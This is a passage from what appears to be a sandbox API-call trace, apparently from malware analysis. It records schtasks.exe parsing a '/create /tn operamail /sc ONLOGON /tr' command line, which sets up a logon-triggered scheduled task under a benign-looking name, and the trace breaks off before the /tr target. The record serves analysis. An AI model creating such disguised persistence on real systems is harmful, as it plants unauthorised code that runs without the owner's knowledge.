hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0135.886] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0135.886] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0135.887] GetProcessHeap () returned 0x2d0000 [0135.887] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x74e) returned 0x2ec170 [0135.887] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0135.887] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x2ec170 | out: lpData=0x2ec170) returned 1 [0135.888] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0135.888] VerQueryValueW (in: pBlock=0x2ec170, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x21f188, puLen=0x21f1f0 | out: lplpBuffer=0x21f188*=0x2ec50c, puLen=0x21f1f0) returned 1 [0135.890] _memicmp (_Buf1=0x2eba20, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.891] _vsnwprintf (in: _Buffer=0x2ebbc0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x21f168 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0135.891] VerQueryValueW (in: pBlock=0x2ec170, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x21f1f8, puLen=0x21f1e8 | out: lplpBuffer=0x21f1f8*=0x2ec338, puLen=0x21f1e8) returned 1 [0135.891] lstrlenW (lpString="schtasks.exe") returned 12 [0135.891] lstrlenW (lpString="schtasks.exe") returned 12 [0135.891] lstrlenW (lpString=".EXE") returned 4 [0135.891] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0135.893] lstrlenW (lpString="schtasks.exe") returned 12 [0135.893] lstrlenW (lpString=".EXE") returned 4 [0135.893] _memicmp (_Buf1=0x2eba20, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.893] lstrlenW (lpString="schtasks") returned 8 [0135.893] GetProcessHeap () returned 0x2d0000 [0135.893] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5d20 [0135.893] GetProcessHeap () returned 0x2d0000 [0135.893] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2eca80 [0135.893] GetProcessHeap () returned 0x2d0000 [0135.893] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecab0 [0135.893] GetProcessHeap () returned 0x2d0000 [0135.893] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecae0 [0135.893] GetProcessHeap () returned 0x2d0000 [0135.894] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2eba40 [0135.894] _memicmp (_Buf1=0x2eba40, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.894] GetProcessHeap () returned 0x2d0000 [0135.894] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xa0) returned 0x2ebfc0 [0135.894] GetProcessHeap () returned 0x2d0000 [0135.894] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecb10 [0135.894] GetProcessHeap () returned 0x2d0000 [0135.894] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecb40 [0135.894] GetProcessHeap () returned 0x2d0000 [0135.894] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecb70 [0135.894] GetProcessHeap () returned 0x2d0000 [0135.894] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2eba60 [0135.894] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.894] GetProcessHeap () returned 0x2d0000 [0135.894] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x200) returned 0x2ed250 [0135.894] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0135.894] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0135.894] GetProcessHeap () returned 0x2d0000 [0135.894] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x30) returned 0x2e7a20 [0135.894] _vsnwprintf (in: _Buffer=0x2ebfc0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x21f168 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0135.894] GetProcessHeap () returned 0x2d0000 [0135.894] GetProcessHeap () returned 0x2d0000 [0135.894] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec170) returned 1 [0135.895] GetProcessHeap () returned 0x2d0000 [0135.895] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec170) returned 0x74e [0135.897] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec170 | out: hHeap=0x2d0000) returned 1 [0135.897] SetLastError (dwErrCode=0x0) [0135.897] GetThreadLocale () returned 0x409 [0135.897] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.897] lstrlenW (lpString="?") returned 1 [0135.897] GetThreadLocale () returned 0x409 [0135.897] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.897] lstrlenW (lpString="create") returned 6 [0135.897] GetThreadLocale () returned 0x409 [0135.897] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.897] lstrlenW (lpString="delete") returned 6 [0135.897] GetThreadLocale () returned 0x409 [0135.897] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.898] lstrlenW (lpString="query") returned 5 [0135.898] GetThreadLocale () returned 0x409 [0135.898] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.898] lstrlenW (lpString="change") returned 6 [0135.898] GetThreadLocale () returned 0x409 [0135.898] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.898] lstrlenW (lpString="run") returned 3 [0135.898] GetThreadLocale () returned 0x409 [0135.898] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.898] lstrlenW (lpString="end") returned 3 [0135.898] GetThreadLocale () returned 0x409 [0135.898] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.898] lstrlenW (lpString="showsid") returned 7 [0135.898] GetThreadLocale () returned 0x409 [0135.898] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.898] SetLastError (dwErrCode=0x0) [0135.898] SetLastError (dwErrCode=0x0) [0135.898] lstrlenW (lpString="/create") returned 7 [0135.898] lstrlenW (lpString="-/") returned 2 [0135.898] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.898] lstrlenW (lpString="?") returned 1 [0135.898] lstrlenW (lpString="?") returned 1 [0135.898] GetProcessHeap () returned 0x2d0000 [0135.898] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ec170 [0135.898] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.898] GetProcessHeap () returned 0x2d0000 [0135.898] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xa) returned 0x2ec190 [0135.898] lstrlenW (lpString="create") returned 6 [0135.898] GetProcessHeap () returned 0x2d0000 [0135.898] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ec1b0 [0135.898] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.898] GetProcessHeap () returned 0x2d0000 [0135.899] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x14) returned 0x2ec1d0 [0135.899] _vsnwprintf (in: _Buffer=0x2ec190, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|?|") returned 3 [0135.899] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|create|") returned 8 [0135.899] lstrlenW (lpString="|?|") returned 3 [0135.899] lstrlenW (lpString="|create|") returned 8 [0135.899] SetLastError (dwErrCode=0x490) [0135.899] lstrlenW (lpString="create") returned 6 [0135.899] lstrlenW (lpString="create") returned 6 [0135.899] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.899] GetProcessHeap () returned 0x2d0000 [0135.899] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec190) returned 1 [0135.899] GetProcessHeap () returned 0x2d0000 [0135.899] RtlReAllocateHeap (Heap=0x2d0000, Flags=0xc, Ptr=0x2ec190, Size=0x14) returned 0x2ec1f0 [0135.899] lstrlenW (lpString="create") returned 6 [0135.899] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.899] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|create|") returned 8 [0135.899] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|create|") returned 8 [0135.899] lstrlenW (lpString="|create|") returned 8 [0135.899] lstrlenW (lpString="|create|") returned 8 [0135.899] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0135.899] SetLastError (dwErrCode=0x0) [0135.899] SetLastError (dwErrCode=0x0) [0135.899] SetLastError (dwErrCode=0x0) [0135.899] lstrlenW (lpString="/tn") returned 3 [0135.899] lstrlenW (lpString="-/") returned 2 [0135.899] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.899] lstrlenW (lpString="?") returned 1 [0135.899] lstrlenW (lpString="?") returned 1 [0135.900] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.900] lstrlenW (lpString="tn") returned 2 [0135.900] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.900] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|?|") returned 3 [0135.900] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|tn|") returned 4 [0135.900] lstrlenW (lpString="|?|") returned 3 [0135.900] lstrlenW (lpString="|tn|") returned 4 [0135.900] SetLastError (dwErrCode=0x490) [0135.900] lstrlenW (lpString="create") returned 6 [0135.900] lstrlenW (lpString="create") returned 6 [0135.900] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.900] lstrlenW (lpString="tn") returned 2 [0135.900] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.900] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|create|") returned 8 [0135.900] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|tn|") returned 4 [0135.900] lstrlenW (lpString="|create|") returned 8 [0135.900] lstrlenW (lpString="|tn|") returned 4 [0135.900] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0135.900] SetLastError (dwErrCode=0x490) [0135.900] lstrlenW (lpString="delete") returned 6 [0135.900] lstrlenW (lpString="delete") returned 6 [0135.900] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.900] lstrlenW (lpString="tn") returned 2 [0135.900] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.900] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|delete|") returned 8 [0135.900] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|tn|") returned 4 [0135.900] lstrlenW (lpString="|delete|") returned 8 [0135.900] lstrlenW (lpString="|tn|") returned 4 [0135.901] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0135.901] SetLastError (dwErrCode=0x490) [0135.901] lstrlenW (lpString="query") returned 5 [0135.901] lstrlenW (lpString="query") returned 5 [0135.901] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.901] lstrlenW (lpString="tn") returned 2 [0135.901] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.901] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|query|") returned 7 [0135.901] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|tn|") returned 4 [0135.901] lstrlenW (lpString="|query|") returned 7 [0135.901] lstrlenW (lpString="|tn|") returned 4 [0135.901] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0135.901] SetLastError (dwErrCode=0x490) [0135.901] lstrlenW (lpString="change") returned 6 [0135.901] lstrlenW (lpString="change") returned 6 [0135.901] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.901] lstrlenW (lpString="tn") returned 2 [0135.901] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.901] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|change|") returned 8 [0135.901] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|tn|") returned 4 [0135.901] lstrlenW (lpString="|change|") returned 8 [0135.901] lstrlenW (lpString="|tn|") returned 4 [0135.901] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0135.901] SetLastError (dwErrCode=0x490) [0135.901] lstrlenW (lpString="run") returned 3 [0135.901] lstrlenW (lpString="run") returned 3 [0135.901] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.901] lstrlenW (lpString="tn") returned 2 [0135.901] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.901] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|run|") returned 5 [0135.901] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|tn|") returned 4 [0135.901] lstrlenW (lpString="|run|") returned 5 [0135.902] lstrlenW (lpString="|tn|") returned 4 [0135.902] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0135.902] SetLastError (dwErrCode=0x490) [0135.902] lstrlenW (lpString="end") returned 3 [0135.902] lstrlenW (lpString="end") returned 3 [0135.902] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.902] lstrlenW (lpString="tn") returned 2 [0135.902] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.902] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|end|") returned 5 [0135.902] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|tn|") returned 4 [0135.902] lstrlenW (lpString="|end|") returned 5 [0135.902] lstrlenW (lpString="|tn|") returned 4 [0135.902] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0135.902] SetLastError (dwErrCode=0x490) [0135.902] lstrlenW (lpString="showsid") returned 7 [0135.902] lstrlenW (lpString="showsid") returned 7 [0135.902] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.902] GetProcessHeap () returned 0x2d0000 [0135.902] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec1f0) returned 1 [0135.902] GetProcessHeap () returned 0x2d0000 [0135.902] RtlReAllocateHeap (Heap=0x2d0000, Flags=0xc, Ptr=0x2ec1f0, Size=0x16) returned 0x2ec1f0 [0135.902] lstrlenW (lpString="tn") returned 2 [0135.902] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.902] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|showsid|") returned 9 [0135.902] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|tn|") returned 4 [0135.902] lstrlenW (lpString="|showsid|") returned 9 [0135.902] lstrlenW (lpString="|tn|") returned 4 [0135.902] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0135.902] SetLastError (dwErrCode=0x490) [0135.902] SetLastError (dwErrCode=0x490) [0135.903] SetLastError (dwErrCode=0x0) [0135.903] lstrlenW (lpString="/tn") returned 3 [0135.903] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0135.903] SetLastError (dwErrCode=0x490) [0135.903] SetLastError (dwErrCode=0x0) [0135.903] lstrlenW (lpString="/tn") returned 3 [0135.903] GetProcessHeap () returned 0x2d0000 [0135.903] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x8) returned 0x2ec190 [0135.903] GetProcessHeap () returned 0x2d0000 [0135.903] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecba0 [0135.903] SetLastError (dwErrCode=0x0) [0135.903] SetLastError (dwErrCode=0x0) [0135.903] lstrlenW (lpString="operamail") returned 9 [0135.903] lstrlenW (lpString="-/") returned 2 [0135.903] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0135.903] SetLastError (dwErrCode=0x490) [0135.903] SetLastError (dwErrCode=0x490) [0135.903] SetLastError (dwErrCode=0x0) [0135.903] lstrlenW (lpString="operamail") returned 9 [0135.903] StrChrIW (lpStart="operamail", wMatch=0x3a) returned 0x0 [0135.903] SetLastError (dwErrCode=0x490) [0135.903] SetLastError (dwErrCode=0x0) [0135.903] lstrlenW (lpString="operamail") returned 9 [0135.903] GetProcessHeap () returned 0x2d0000 [0135.903] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x14) returned 0x2ed490 [0135.903] GetProcessHeap () returned 0x2d0000 [0135.903] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecbd0 [0135.903] SetLastError (dwErrCode=0x0) [0135.903] SetLastError (dwErrCode=0x0) [0135.903] lstrlenW (lpString="/sc") returned 3 [0135.903] lstrlenW (lpString="-/") returned 2 [0135.903] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.903] lstrlenW (lpString="?") returned 1 [0135.903] lstrlenW (lpString="?") returned 1 [0135.903] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.903] lstrlenW (lpString="sc") returned 2 [0135.904] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.904] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|?|") returned 3 [0135.904] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|sc|") returned 4 [0135.904] lstrlenW (lpString="|?|") returned 3 [0135.904] lstrlenW (lpString="|sc|") returned 4 [0135.904] SetLastError (dwErrCode=0x490) [0135.904] lstrlenW (lpString="create") returned 6 [0135.904] lstrlenW (lpString="create") returned 6 [0135.904] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.904] lstrlenW (lpString="sc") returned 2 [0135.904] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.904] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|create|") returned 8 [0135.904] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|sc|") returned 4 [0135.904] lstrlenW (lpString="|create|") returned 8 [0135.904] lstrlenW (lpString="|sc|") returned 4 [0135.904] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0135.904] SetLastError (dwErrCode=0x490) [0135.904] lstrlenW (lpString="delete") returned 6 [0135.904] lstrlenW (lpString="delete") returned 6 [0135.904] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.904] lstrlenW (lpString="sc") returned 2 [0135.904] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.904] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|delete|") returned 8 [0135.904] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|sc|") returned 4 [0135.904] lstrlenW (lpString="|delete|") returned 8 [0135.904] lstrlenW (lpString="|sc|") returned 4 [0135.904] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0135.904] SetLastError (dwErrCode=0x490) [0135.904] lstrlenW (lpString="query") returned 5 [0135.905] lstrlenW (lpString="query") returned 5 [0135.905] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.905] lstrlenW (lpString="sc") returned 2 [0135.905] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.905] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|query|") returned 7 [0135.905] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|sc|") returned 4 [0135.905] lstrlenW (lpString="|query|") returned 7 [0135.905] lstrlenW (lpString="|sc|") returned 4 [0135.905] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0135.905] SetLastError (dwErrCode=0x490) [0135.905] lstrlenW (lpString="change") returned 6 [0135.905] lstrlenW (lpString="change") returned 6 [0135.905] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.905] lstrlenW (lpString="sc") returned 2 [0135.905] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.905] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|change|") returned 8 [0135.905] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|sc|") returned 4 [0135.905] lstrlenW (lpString="|change|") returned 8 [0135.905] lstrlenW (lpString="|sc|") returned 4 [0135.905] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0135.905] SetLastError (dwErrCode=0x490) [0135.905] lstrlenW (lpString="run") returned 3 [0135.905] lstrlenW (lpString="run") returned 3 [0135.905] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.905] lstrlenW (lpString="sc") returned 2 [0135.905] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.905] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|run|") returned 5 [0135.905] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|sc|") returned 4 [0135.905] lstrlenW (lpString="|run|") returned 5 [0135.905] lstrlenW (lpString="|sc|") returned 4 [0135.905] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0135.906] SetLastError (dwErrCode=0x490) [0135.906] lstrlenW (lpString="end") returned 3 [0135.906] lstrlenW (lpString="end") returned 3 [0135.906] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.906] lstrlenW (lpString="sc") returned 2 [0135.906] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.906] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|end|") returned 5 [0135.906] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|sc|") returned 4 [0135.906] lstrlenW (lpString="|end|") returned 5 [0135.906] lstrlenW (lpString="|sc|") returned 4 [0135.906] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0135.906] SetLastError (dwErrCode=0x490) [0135.906] lstrlenW (lpString="showsid") returned 7 [0135.906] lstrlenW (lpString="showsid") returned 7 [0135.906] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.906] lstrlenW (lpString="sc") returned 2 [0135.906] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.906] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|showsid|") returned 9 [0135.906] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f178 | out: _Buffer="|sc|") returned 4 [0135.906] lstrlenW (lpString="|showsid|") returned 9 [0135.906] lstrlenW (lpString="|sc|") returned 4 [0135.906] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0135.906] SetLastError (dwErrCode=0x490) [0135.906] SetLastError (dwErrCode=0x490) [0135.906] SetLastError (dwErrCode=0x0) [0135.906] lstrlenW (lpString="/sc") returned 3 [0135.906] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0135.906] SetLastError (dwErrCode=0x490) [0135.906] SetLastError (dwErrCode=0x0) [0135.906] lstrlenW (lpString="/sc") returned 3 [0135.906] GetProcessHeap () returned 0x2d0000 [0135.906] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x8) returned 0x2edc60 [0135.907] GetProcessHeap () returned 0x2d0000 [0135.907] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecc00 [0135.907] SetLastError (dwErrCode=0x0) [0135.907] SetLastError (dwErrCode=0x0) [0135.907] lstrlenW (lpString="ONLOGON") returned 7 [0135.907] lstrlenW (lpString="-/") returned 2 [0135.907] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0135.907] SetLastError (dwErrCode=0x490) [0135.907] SetLastError (dwErrCode=0x490) [0135.907] SetLastError (dwErrCode=0x0) [0135.907] lstrlenW (lpString="ONLOGON") returned 7 [0135.907] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0135.907] SetLastError (dwErrCode=0x490) [0135.907] SetLastError (dwErrCode=0x0) [0135.907] lstrlenW (lpString="ONLOGON") returned 7 [0135.907] GetProcessHeap () returned 0x2d0000 [0135.907] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x10) returned 0x2ed4b0 [0135.907] GetProcessHeap () returned 0x2d0000 [0135.907] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecc30 [0135.907] SetLastError (dwErrCode=0x0) [0135.907] SetLastError (dwErrCode=0x0) [0135.907] lstrlenW (lpString="/tr") returned 3 [0135.907] lstrlenW (lpString="-/") returned 2 [0135.907] 